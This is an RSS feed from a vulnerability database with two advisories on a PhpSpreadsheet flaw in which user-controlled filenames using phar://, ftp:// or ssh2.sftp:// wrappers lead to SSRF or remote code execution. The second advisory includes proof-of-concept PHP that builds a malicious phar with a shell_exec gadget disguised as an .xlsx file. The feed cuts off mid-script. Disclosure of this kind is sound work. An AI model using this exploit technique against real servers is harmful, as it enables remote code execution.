<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 01 Oct 2026 17:57:54 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-34084 — PhpSpreadsheet SSRF and RCE via PHP stream wrappers in IOFactory::load</title>
      <link>https://db.gcve.eu/vuln/cve-2026-34084</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PHPOffice PhpSpreadsheet&lt;/p&gt;
&lt;p&gt;PhpSpreadsheet is a library for reading and writing spreadsheet files. In versions 1.30.2 and earlier, 2.0.0 through 2.1.14, 2.2.0 through 2.4.3, 3.3.0 through 3.10.3, and 4.0.0 through 5.5.0, when the filename argument to IOFactory::load() is user-controlled, an attacker can supply a PHP stream wrapper path (such as phar://, ftp://, or ssh2.sftp://) that passes the is_file() check in File::assertFile(). The phar:// wrapper triggers deserialization of the PHAR metadata, which can lead to remote code execution if a suitable gadget chain is available in the application. The ftp:// and ssh2.sftp:// wrappers can be used for server-side request forgery. This issue has been fixed in versions 1.30.3, 2.1.15, 2.4.4, 3.10.4, and 5.6.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PHPOffice PhpSpreadsheet&lt;/p&gt;
&lt;p&gt;PhpSpreadsheet is a library for reading and writing spreadsheet files. In versions 1.30.2 and earlier, 2.0.0 through 2.1.14, 2.2.0 through 2.4.3, 3.3.0 through 3.10.3, and 4.0.0 through 5.5.0, when the filename argument to IOFactory::load() is user-controlled, an attacker can supply a PHP stream wrapper path (such as phar://, ftp://, or ssh2.sftp://) that passes the is_file() check in File::assertFile(). The phar:// wrapper triggers deserialization of the PHAR metadata, which can lead to remote code execution if a suitable gadget chain is available in the application. The ftp:// and ssh2.sftp:// wrappers can be used for server-side request forgery. This issue has been fixed in versions 1.30.3, 2.1.15, 2.4.4, 3.10.4, and 5.6.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/cve-2026-34084</guid>
    </item>
    <item>
      <title>GHSA-q4q6-r8wh-5cgh — PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled</title>
      <link>https://db.gcve.eu/vuln/ghsa-q4q6-r8wh-5cgh</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Packagist: phpoffice/phpspreadsheet&lt;/p&gt;
&lt;p&gt;The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any [php wrappers](https://www.php.net/manual/en/wrappers.php) implementing `stat()`.
The 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.&lt;/p&gt;
&lt;p&gt;This results in a SSRF, at &amp;#34;best&amp;#34;, and RCE at worse.&lt;/p&gt;
&lt;p&gt;This was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).&lt;/p&gt;
&lt;p&gt;## PoC
To reproduce the vulnerable behavior, the following scripts were used:&lt;/p&gt;
&lt;p&gt;`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:
```ini
phar.readonly=0
```&lt;/p&gt;
&lt;p&gt;`make_phar.php` to create the malicious file:
```php
&amp;lt;?php
// php -c php.ini make_phar.php
class GadgetClass {
    public $data;
    function __construct($d) {
        $this-&amp;gt;data = $d;
    }
    function __destruct() {
        shell_exec($this-&amp;gt;data);
    }
}&lt;/p&gt;
&lt;p&gt;$pop = new GadgetClass(&amp;#39;touch /tmp/poc.txt&amp;#39;);&lt;/p&gt;
&lt;p&gt;$phar = new Phar(&amp;#39;exploit.phar&amp;#39;);
$phar-&amp;gt;startBuffering();
$phar-&amp;gt;setStub(&amp;#39;&amp;lt;?php __HALT_COMPILER(); ?&amp;gt;&amp;#39;);
$phar-&amp;gt;addFromString(&amp;#39;whatever&amp;#39;, &amp;#39;dummy content&amp;#39;);
$phar-&amp;gt;setMetadata($pop);
$phar-&amp;gt;stopBuffering();&lt;/p&gt;
&lt;p&gt;rename(&amp;#39;exploit.phar&amp;#39;, &amp;#39;exploit.xlsx&amp;#39;); // optional
echo &amp;#34;exploit.xlsx created \n&amp;#34;;&lt;/p&gt;
&lt;p&gt;```&lt;/p&gt;
&lt;p&gt;`test.php` showcases the unsafe pattern:
```php
&amp;lt;?php
require &amp;#39;…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Packagist: phpoffice/phpspreadsheet&lt;/p&gt;
&lt;p&gt;The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any [php wrappers](https://www.php.net/manual/en/wrappers.php) implementing `stat()`.
The 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.&lt;/p&gt;
&lt;p&gt;This results in a SSRF, at &amp;#34;best&amp;#34;, and RCE at worse.&lt;/p&gt;
&lt;p&gt;This was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).&lt;/p&gt;
&lt;p&gt;## PoC
To reproduce the vulnerable behavior, the following scripts were used:&lt;/p&gt;
&lt;p&gt;`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:
```ini
phar.readonly=0
```&lt;/p&gt;
&lt;p&gt;`make_phar.php` to create the malicious file:
```php
&amp;lt;?php
// php -c php.ini make_phar.php
class GadgetClass {
    public $data;
    function __construct($d) {
        $this-&amp;gt;data = $d;
    }
    function __destruct() {
        shell_exec($this-&amp;gt;data);
    }
}&lt;/p&gt;
&lt;p&gt;$pop = new GadgetClass(&amp;#39;touch /tmp/poc.txt&amp;#39;);&lt;/p&gt;
&lt;p&gt;$phar = new Phar(&amp;#39;exploit.phar&amp;#39;);
$phar-&amp;gt;startBuffering();
$phar-&amp;gt;setStub(&amp;#39;&amp;lt;?php __HALT_COMPILER(); ?&amp;gt;&amp;#39;);
$phar-&amp;gt;addFromString(&amp;#39;whatever&amp;#39;, &amp;#39;dummy content&amp;#39;);
$phar-&amp;gt;setMetadata($pop);
$phar-&amp;gt;stopBuffering();&lt;/p&gt;
&lt;p&gt;rename(&amp;#39;exploit.phar&amp;#39;, &amp;#39;exploit.xlsx&amp;#39;); // optional
echo &amp;#34;exploit.xlsx created \n&amp;#34;;&lt;/p&gt;
&lt;p&gt;```&lt;/p&gt;
&lt;p&gt;`test.php` showcases the unsafe pattern:
```php
&amp;lt;?php
require &amp;#39;…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-q4q6-r8wh-5cgh</guid>
    </item>
  </channel>
</rss>
